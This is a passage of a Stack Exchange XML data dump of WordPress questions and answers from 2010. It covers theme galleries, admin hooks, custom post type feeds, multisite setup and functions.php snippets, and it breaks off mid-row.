  <row Id="3781" PostTypeId="1" AcceptedAnswerId="3782" CreationDate="2010-11-08T17:17:33.647" Score="0" ViewCount="164" Body="&lt;p&gt;I'm developing a custom wp theme which needs a gallery function. I looked over a few popular gallery plugins, but all of them seem &quot;bloated&quot; with a lot of unnecessary stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any recommendations of a light gallery plugin that allows the admin to upload photos and group them into galleries?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-11-08T17:23:00.590" Title="Basic gallery plugin suggestion" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;themes&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="3782" PostTypeId="2" ParentId="3781" CreationDate="2010-11-08T17:23:00.590" Score="3" ViewCount="" Body="&lt;p&gt;What's wrong with the built-in gallery functionality? Seems to match your description pretty well. ;-)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-08T17:23:00.590" CommentCount="2" />
  <row Id="3783" PostTypeId="2" ParentId="2073" CreationDate="2010-11-08T17:31:59.080" Score="2" ViewCount="" Body="&lt;p&gt;When you reigster/add a page to the admin area, using &lt;code&gt;add_submenu_page&lt;/code&gt; or any of the other &lt;code&gt;add_{TYPE}_page&lt;/code&gt; functions the fourth parameter accepts a unique identifier, this identifier designates the hook your given page will use..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a moment imagine i registered a page like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_options_page('My Plugin Options', 'My Plugin', 'manage_options', 'my-unique-identifier', 'my_plugin_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the example above the unique identifier is &lt;code&gt;my-unique-identifier&lt;/code&gt;. Various hooks are then available for that page specifically, and here's a few possible actions for that hook..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'load-my-unique-identifier', 'my_callback_function' );&#xA;add_action( 'admin_head-my-unique-identifier', 'my_callback_function' );&#xA;add_action( 'admin_print_scripts-my-unique-identifier', 'my_callback_function' );&#xA;add_action( 'admin_print_styles-my-unique-identifier', 'my_callback_function' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;code&gt;admin_enqueue_scripts&lt;/code&gt; which provides the name of the current hook in the string/variable it passes along to functions that hook on..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should never need to hook onto &lt;code&gt;admin_head&lt;/code&gt;,&lt;code&gt;admin_print_scripts&lt;/code&gt; or &lt;code&gt;admin_print_styles&lt;/code&gt; unless you have a script/style you want to load for &lt;strong&gt;every&lt;/strong&gt; admin page, if you are, then you're doing it wrong (because there's hooks for every page specifically in the administration area).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-08T17:31:59.080" CommentCount="3" />
  <row Id="3784" PostTypeId="2" ParentId="3780" CreationDate="2010-11-08T17:52:30.857" Score="0" ViewCount="" Body="&lt;p&gt;For excluding terms of a taxonomy the better way to do that would be to use the hook that was created for doing term exclusions.. &lt;code&gt;list_terms_exclusions&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the available categories using &lt;code&gt;get_terms&lt;/code&gt; (get_categories calls get_terms anyway IIRC), and do your exclusions using a hook on &lt;code&gt;list_terms_exclusions&lt;/code&gt; and your code should work as expected..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the hook i'm referring to on line 1040.&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/taxonomy.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/taxonomy.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Your plugin does not have a sanitization callback function when it calls &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_setting&quot; rel=&quot;nofollow&quot;&gt;register_setting&lt;/a&gt;, your options won't get sanitized properly without one, i'd strongly advise you declare a callback function and sanitize the data as appropriate (especially if you're passing that saved data into queries).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-08T17:52:30.857" CommentCount="5" />
  <row Id="3785" PostTypeId="2" ParentId="3483" CreationDate="2010-11-08T19:24:40.687" Score="1" ViewCount="" Body="&lt;p&gt;Okay, thanks to all who contributed to answering my question, but I had finally figured out the solution to my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for being naive but it turned out that I had a &lt;strong&gt;template_redirect&lt;/strong&gt; action added to direct anything that's related to my &lt;strong&gt;post types&lt;/strong&gt; to their respective &lt;strong&gt;template files&lt;/strong&gt;. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_template_redirect()&#xA;{&#xA;    global $wp, $wp_query;&#xA;&#xA;    if ( ( $wp-&amp;gt;query_vars[&quot;post_type&quot;] == &quot;news&quot; ) &amp;amp;&amp;amp; !is_single() )&#xA;    {&#xA;        if (have_posts())&#xA;        {&#xA;            include(TEMPLATEPATH . '/news.php');&#xA;            die();&#xA;        }&#xA;        else&#xA;        { $wp_query-&amp;gt;is_404 = true; }&#xA;    }&#xA;}&#xA;add_action(&quot;template_redirect&quot;, 'my_template_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It, apparently, also redirected my post-type feeds to the template files, thus &quot;it only takes me back to the custom post type archive page again...'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I just added an extra filter to exclude feeds from this redirection, that is, I added &lt;strong&gt;!is_feed()&lt;/strong&gt; in the &lt;strong&gt;&lt;em&gt;if&lt;/em&gt;&lt;/strong&gt; statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ( $wp-&amp;gt;query_vars[&quot;post_type&quot;] == &quot;news&quot; ) &amp;amp;&amp;amp; !is_single() &amp;amp;&amp;amp; !is_feed() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and the feeds work as they should be again. I knew there was something wrong with the theme...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for the help, guys! :)&lt;/p&gt;&#xA;" OwnerUserId="1044" LastActivityDate="2010-11-08T19:24:40.687" />
  <row Id="3786" PostTypeId="1" CreationDate="2010-11-08T21:06:57.207" Score="0" ViewCount="219" Body="&lt;p&gt;I am using Wordpress to output different content types here: &lt;a href=&quot;http://www.africanhealthleadership.org/resources/articles/&quot; rel=&quot;nofollow&quot;&gt;http://www.africanhealthleadership.org/resources/articles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each type of content is tagged accordingly.  Users should be able to click on these tags &amp;amp; see all items marked with that tag e.g. clicking the word &quot;Article&quot; above the article name would take someone to a full list of articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the tag links are not working: clicking does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I used to output the tag and  article name.&#xA;` &lt;/p&gt;&#xA;&#xA; &lt;h2&gt;&lt;/h2&gt;&#xA;&#xA; &lt;h3&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&#xA; &#xA;  &#xA;`&#xA;When I check the page with Firebug, I see a link such as &#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the rel preventing the links from working? Or is it my goofy little brain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas,&#xA;Jeff&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2010-11-08T22:36:59.353" Title="Links from the_tag not working" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="3787" PostTypeId="1" AcceptedAnswerId="3789" CreationDate="2010-11-08T21:19:51.910" Score="1" ViewCount="176" Body="&lt;p&gt;I'm working on a custom plugin that needs to display specifically the commenter's nice name. The codex shows how to do this for the logged in user but not someone else. Can this easily be done?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2010-11-10T19:15:27.893" Title="Display WordPress commenter nice name" Tags="&lt;comments&gt;&lt;users&gt;" AnswerCount="2" />
  <row Id="3788" PostTypeId="1" AcceptedAnswerId="3825" CreationDate="2010-11-08T21:26:35.497" Score="1" ViewCount="132" Body="&lt;p&gt;My plugin needs to know if the currently active theme places the post title in H1 heading tags? I'm looking for suggestions on approaches to create script that could discern this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The plugin evaluates the SEO profile of the post content to help the user make improvements for search rankings. Second only to the post title, the h1 tag is one of the most important tags for SEO. However, I don't want to ask the user to include their primary keyword in an h1 heading tag in the post content if the theme already does that (as many do).&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-12T21:55:42.850" LastActivityDate="2010-11-12T22:33:13.657" Title="How to determine, from plugin script, if active theme has &lt;h1&gt;The Post Title&lt;/h1&gt;" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="3789" PostTypeId="2" ParentId="3787" CreationDate="2010-11-08T21:34:07.843" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_get_current_commenter()&lt;/code&gt; returns an array, the entry &lt;code&gt;'comment_author'&lt;/code&gt; stores the name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;    ['comment_author']       =&amp;gt; 'Harriet Smith,&#xA;    ['comment_author_email'] =&amp;gt; 'hsmith@,example.com',&#xA;    ['comment_author_url']   =&amp;gt; 'http://example.com/'&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information is available in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_current_commenter&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the nice name, ask the DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Searches the user table by display name.&#xA; * @param string $display_name&#xA; * @return object&#xA; */&#xA;function get_user_by_display_name( $display_name )&#xA;{&#xA;    global $wpdb;&#xA;    $user = $wpdb-&amp;gt;get_row( &#xA;        $wpdb-&amp;gt;prepare(&quot;SELECT * FROM $wpdb-&amp;gt;users WHERE display_name = %s&quot;, $display_name) &#xA;    );&#xA;&#xA;    if ( ! $user )&#xA;    {&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    _fill_user($user);&#xA;&#xA;    return $user;&#xA;}&#xA;&#xA;// Usage:&#xA;if ( $userdata = get_user_by_display_name( 'Thomas Scholz' ) )&#xA;{&#xA;    print $userdata-&amp;gt;user_nicename;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Caveat: Not tested. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-11-10T19:15:27.893" LastActivityDate="2010-11-10T19:15:27.893" CommentCount="3" />
  <row Id="3790" PostTypeId="1" AcceptedAnswerId="8724" CreationDate="2010-11-08T21:39:58.027" Score="2" ViewCount="262" Body="&lt;p&gt;Looking for advice for the best method to accomplish the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom page template with several custom fields/taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data needed for these custom fields actually resides in .txt files that are updated once a week. They are easily converted into .csv files. What would be the best and most secure method in getting this data into a custom page template, I figure I have 3 options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the raw .txt or .csv files using custom php?&#xA;Import the .csv into a separate database and grab the data from it?&#xA;Import the data into the WordPress database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 3 seems to be the best one, but I am completely unfamiliar with the wordpress database structure and the best way to go about this.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:10:38.960" LastActivityDate="2011-02-07T09:06:37.630" Title="Advice needed for importing custom field data and database structure" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;database&gt;&lt;support&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="3791" PostTypeId="1" AcceptedAnswerId="3794" CreationDate="2010-11-08T21:42:16.213" Score="1" ViewCount="243" Body="&lt;p&gt;With WordPress 3.0 its easy to for users to submit custom content from the front end. They don't even need to be logged in anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a functions code (not a plugin) to notify a predefined email, such as the site admin, of new posts in just a certain post type? For example the site admin get notified whenever a new &quot;usernews&quot; post type is posted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2010-11-08T22:12:23.277" Title="Notify admin on new submit" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;email&gt;&lt;notifications&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3792" PostTypeId="2" ParentId="3786" CreationDate="2010-11-08T21:59:15.927" Score="1" ViewCount="" Body="&lt;p&gt;i checked firebug, are you displaying the tags by using  &lt;code&gt;&amp;lt;?php the_tags(); ?&amp;gt;&lt;/code&gt; ? if not, what else are you using ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this links helps &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="692" LastEditorDisplayName="" LastEditDate="2010-11-08T22:36:59.353" LastActivityDate="2010-11-08T22:36:59.353" CommentCount="3" />
  <row Id="3793" PostTypeId="1" CreationDate="2010-11-08T22:10:49.440" Score="1" ViewCount="126" Body="&lt;p&gt;I've searched for answers on that, not sure I found anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog about movies, and I'm using tags for actors (i.e. brad pitt, kevin spacey).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested to create a dedicated &quot;actors&quot; page, which will include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a list of all the actors (= tags) alphabetically. So the tags list will be presented from A to Z.&lt;/li&gt;&#xA;&lt;li&gt;a search form - so users can search for actors (= search the tag cloud).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to search for plugins that can help doing this. Only found the nice Custom Tag Configuration plugin, but that's not enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the code for creating such a page shouldn't be too difficult - would be glad to get some suggestions on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, I believe that many blog owners would find such an option quite relevant for their blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-10T02:28:33.453" Title="Creating a &quot;Tags&quot; page with search option, instead of using a widget" Tags="&lt;tags&gt;&lt;search&gt;" AnswerCount="2" />
  <row Id="3794" PostTypeId="2" ParentId="3791" CreationDate="2010-11-08T22:12:23.277" Score="1" ViewCount="" Body="&lt;p&gt;I don't know the name of a function that would do just that - but i can give you what i think is a good algorithm to do so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I suggest you do the following trick : &#xA;Once the user publishes new content - let it have a category called &quot;user submission&quot; for example or any other stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once an admin views the post, he can remove that category and label the content accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all you have to do is use feedburner or any email notification system to let the people you want know about the &quot;new posts&quot; or RSS subscription by category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to do by programming :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - you have to fetch the user details for which users are admins from the tables users/usermeta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - in some separate table, you must have lastPostId, AdminId&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - write a script get the posts that have an ID &gt; lastPostId and send the email&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4 - this script can be run using a cron job&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-08T22:12:23.277" />
  <row Id="3795" PostTypeId="2" ParentId="3787" CreationDate="2010-11-08T22:13:42.473" Score="0" ViewCount="" Body="&lt;p&gt;Don't they need to be registered to even get a nice name? Otherwise it'd be whatever they provide when making the comment.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-11-08T22:13:42.473" CommentCount="1" />
  <row Id="3796" PostTypeId="2" ParentId="3793" CreationDate="2010-11-08T22:36:09.213" Score="1" ViewCount="" Body="&lt;p&gt;Create a file in your theme called for example : myTagsPage.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in it paste the following code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: myTagsPage&#xA;*/&#xA;&amp;lt;h2&amp;gt;Actors&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php the_tags('&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;','&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;','&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;'); ?&amp;gt;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in administration, create a new blank page, on the right side, you should be able to choose which template you want - pick myTagsPage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can choose many functions, play with the parameters - i wrote a sample one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a plugin for this once, but i guess this is more flexible and you can customize it more :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-08T22:36:09.213" CommentCount="2" />
  <row Id="3797" PostTypeId="2" ParentId="1567" CreationDate="2010-11-08T22:45:36.673" Score="6" ViewCount="" Body="&lt;h2&gt;Fixed: Remove Default Wordpress Meta Boxes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This was very handy but had some errors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE META BOXES FROM DEFAULT POSTS SCREEN&#xA;function remove_default_post_screen_metaboxes() {&#xA; remove_meta_box( 'postcustom','post','normal' ); // Custom Fields Metabox&#xA; remove_meta_box( 'postexcerpt','post','normal' ); // Excerpt Metabox&#xA; remove_meta_box( 'commentstatusdiv','post','normal' ); // Comments Metabox&#xA; remove_meta_box( 'trackbacksdiv','post','normal' ); // Talkback Metabox&#xA; remove_meta_box( 'slugdiv','post','normal' ); // Slug Metabox&#xA; remove_meta_box( 'authordiv','post','normal' ); // Author Metabox&#xA;}&#xA;add_action('admin_menu','remove_default_post_screen_metaboxes');&#xA;&#xA;&#xA;// REMOVE META BOXES FROM DEFAULT PAGES SCREEN&#xA;function remove_default_page_screen_metaboxes() {&#xA; global $post_type;&#xA; remove_meta_box( 'postcustom','page','normal' ); // Custom Fields Metabox&#xA; remove_meta_box( 'postexcerpt','page','normal' ); // Excerpt Metabox&#xA; remove_meta_box( 'commentstatusdiv','page','normal' ); // Comments Metabox&#xA; remove_meta_box('commentsdiv','page','normal'); // Comments&#xA; remove_meta_box( 'trackbacksdiv','page','normal' ); // Talkback Metabox&#xA; remove_meta_box( 'slugdiv','page','normal' ); // Slug Metabox&#xA; remove_meta_box( 'authordiv','page','normal' ); // Author Metabox&#xA;}&#xA;add_action('admin_menu','remove_default_page_screen_metaboxes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-11-08T22:45:36.673" CommunityOwnedDate="2010-11-08T22:45:36.673" />
  <row Id="3798" PostTypeId="1" AcceptedAnswerId="3800" CreationDate="2010-11-09T01:10:09.830" Score="0" ViewCount="158" Body="&lt;p&gt;I asked this before over at the WordPress forums some time ago, before WP3 with MU was released and I think it's relevant that I ask it again, here instead, cause of WP3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to have my personal website and blog both powered by WordPress, the website should be at www.domain.com (or domain.com) and the blog at blog.domain.com. My first idea is to use 2 WP installations with the same exact theme sharing the same database. This would easily allow me to share content between the two. Like displaying the latest blog posts in the front page of the website, for instance. It would also allow me to easily maintain different content for each site with appropriate links for each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I meant is, a blog post should be accessed like &lt;code&gt;blog.domain.com/article/blog-post-title&lt;/code&gt; and not &lt;code&gt;www.domain.com/article/blog-post-title&lt;/code&gt;; the same way, a main site page should be accessed like &lt;code&gt;www.domain.com/about-me&lt;/code&gt; and not &lt;code&gt;blog.domain.com/about-me&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But two installations come with a few problems too... Double the work for maintaining WP updated to the latest version along with plugins. In case I need user registration for comments, two would be needed and I don't think the users will like that. I'm sure there are more problems, but this is what I can think of right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does WP3 come with any feature, like MU, that could help me achieve what I want or my best and easiest bet is to go the double installation route?&lt;/p&gt;&#xA;" OwnerUserId="1517" LastActivityDate="2010-11-09T02:14:20.250" Title="One WordPress install for main site at domain.com and blog at blog.domain.com?" Tags="&lt;3.0&gt;&lt;multisite&gt;&lt;domain&gt;" AnswerCount="1" />
  <row Id="3800" PostTypeId="2" ParentId="3798" CreationDate="2010-11-09T02:14:20.250" Score="5" ViewCount="" Body="&lt;p&gt;You would just need to use the multisite functionality now in WordPress, see &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;.  Setup the site to use the subdomain install.  You would then setup the main blog to be your site, ignoring the posts section for that site.  Then setup a new site within the Super Admin menu and set the subdomain for the new site to be blog.yoursite.com.  You can then write blog posts from this new site while keeping the site navigation in the root install.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-09T02:14:20.250" CommentCount="3" />
  <row Id="3801" PostTypeId="1" AcceptedAnswerId="3803" CreationDate="2010-11-09T02:28:33.093" Score="0" ViewCount="253" Body="&lt;p&gt;I'd like to add custom fields in my custom post type to the RSS feed for that post type located at &lt;a href=&quot;http://example.com/feed/?post_type=my_custom_post_type&quot; rel=&quot;nofollow&quot;&gt;http://example.com/feed/?post_type=my_custom_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen info on doing this for the regular feed but nothing for how to rewrite the custom post type feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll need to add 10 - 15 items to the feed (1st act, 2nd act, 3rd act, price, purchase link...)&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2010-11-09T05:31:59.993" LastActivityDate="2010-11-09T07:06:41.503" Title="Add Custom Fields to Custom Post Type RSS" Tags="&lt;custom-post-types&gt;&lt;rss&gt;&lt;feed&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="3802" PostTypeId="2" ParentId="3772" CreationDate="2010-11-09T02:46:08.420" Score="1" ViewCount="" Body="&lt;p&gt;I am afraid this is just an issue with the application, not with your wordpress installation.  I suppose that could be good or bad news.  Regardless, I would suggest that you submit the bug to the application developers because if you are running into this problem, the chances are so are several other people, though you may be the first one to point it out.&lt;/p&gt;&#xA;" OwnerUserId="1516" LastActivityDate="2010-11-09T02:46:08.420" />
  <row Id="3803" PostTypeId="2" ParentId="3801" CreationDate="2010-11-09T02:47:25.000" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function add_custom_fields_to_rss() {&#xA;    if(get_post_type() == 'my_custom_post_type' &amp;amp;&amp;amp; $my_meta_value = get_post_meta(get_the_ID(), 'my_meta_key', true)) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;my_meta_value&amp;gt;&amp;lt;?php echo $my_meta_value ?&amp;gt;&amp;lt;/my_meta_value&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;add_action('rss2_item', 'add_custom_fields_to_rss');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to substitute and any other meta values you need to add to the feed.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-09T02:47:25.000" CommentCount="3" />
  <row Id="3804" PostTypeId="1" AcceptedAnswerId="3807" CreationDate="2010-11-09T02:52:10.570" Score="0" ViewCount="187" Body="&lt;p&gt;I have seen many professional wordpress themes for sale that have shortcodes built in with which you could easily make posts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[alert_box]This is an alert box which based on this short-code automatically&#xA;switches the CSS so it is easier than messing with classes every time[/alert_box]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it requires you to add something to the functions.php, though I haven't been able to figure out how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1516" LastActivityDate="2010-11-11T05:26:30.407" Title="How do I create short codes for my wordpress themes?" Tags="&lt;shortcode&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="3805" PostTypeId="2" ParentId="1567" CreationDate="2010-11-09T03:22:03.047" Score="5" ViewCount="" Body="&lt;h2&gt;Add a codex search form to the dashboard header&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a simple way to add a codex search form to the dashboard header, on the top-right next to the quicklinks drop-down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * ADD WP CODEX SEARCH FORM TO DASHBOARD HEADER&#xA; */&#xA;function wp_codex_search_form() {&#xA;    echo '&amp;lt;form target=&quot;_blank&quot; method=&quot;get&quot; action=&quot;http://wordpress.org/search/do-search.php&quot; class=&quot;alignright&quot; style=&quot;margin: 11px 5px 0;&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; onblur=&quot;this.value=(this.value==\'\') ? \'Search the Codex\' : this.value;&quot; onfocus=&quot;this.value=(this.value==\'Search the Codex\') ? \'\' : this.value;&quot; maxlength=&quot;150&quot; value=&quot;Search the Codex&quot; name=&quot;search&quot; class=&quot;text&quot;&amp;gt; &amp;lt;input type=&quot;submit&quot; value=&quot;Go&quot; class=&quot;button&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;';&#xA;}&#xA;&#xA;if( current_user_can( 'manage_plugins' )) {&#xA;// The number 11 needs to be a 10 for this to work!&#xA;    add_filter( 'in_admin_header', 'wp_codex_search_form', 11 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1366" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-06-08T06:40:32.333" LastActivityDate="2011-06-08T06:40:32.333" CommunityOwnedDate="2010-11-09T03:22:03.047" CommentCount="2" />
  <row Id="3806" PostTypeId="2" ParentId="1567" CreationDate="2010-11-09T03:27:05.763" Score="18" ViewCount="" Body="&lt;h2&gt;Include custom post types in the search results.&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// MAKE CUSTOM POST TYPES SEARCHABLE&#xA;function searchAll( $query ) {&#xA; if ( $query-&amp;gt;is_search ) { $query-&amp;gt;set( 'post_type', array( 'site','plugin', 'theme','person' )); } &#xA; return $query;&#xA;}&#xA;add_filter( 'the_search_query', 'searchAll' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add your custom post types to your sites main RSS feed by default.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ADD CUSTOM POST TYPES TO THE DEFAULT RSS FEED&#xA;function custom_feed_request( $vars ) {&#xA; if (isset($vars['feed']) &amp;amp;&amp;amp; !isset($vars['post_type']))&#xA;  $vars['post_type'] = array( 'post', 'site', 'plugin', 'theme', 'person' );&#xA; return $vars;&#xA;}&#xA;add_filter( 'request', 'custom_feed_request' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Include custom post types in &quot;Right Now&quot; admin dashboard&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will include your custom post types and the post counts for each type in the &quot;Right Now&quot; dashboard widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ADD CUSTOM POST TYPES TO THE 'RIGHT NOW' DASHBOARD WIDGET&#xA;function wph_right_now_content_table_end() {&#xA; $args = array(&#xA;  'public' =&amp;gt; true ,&#xA;  '_builtin' =&amp;gt; false&#xA; );&#xA; $output = 'object';&#xA; $operator = 'and';&#xA;&#xA; $post_types = get_post_types( $args , $output , $operator );&#xA; foreach( $post_types as $post_type ) {&#xA;  $num_posts = wp_count_posts( $post_type-&amp;gt;name );&#xA;  $num = number_format_i18n( 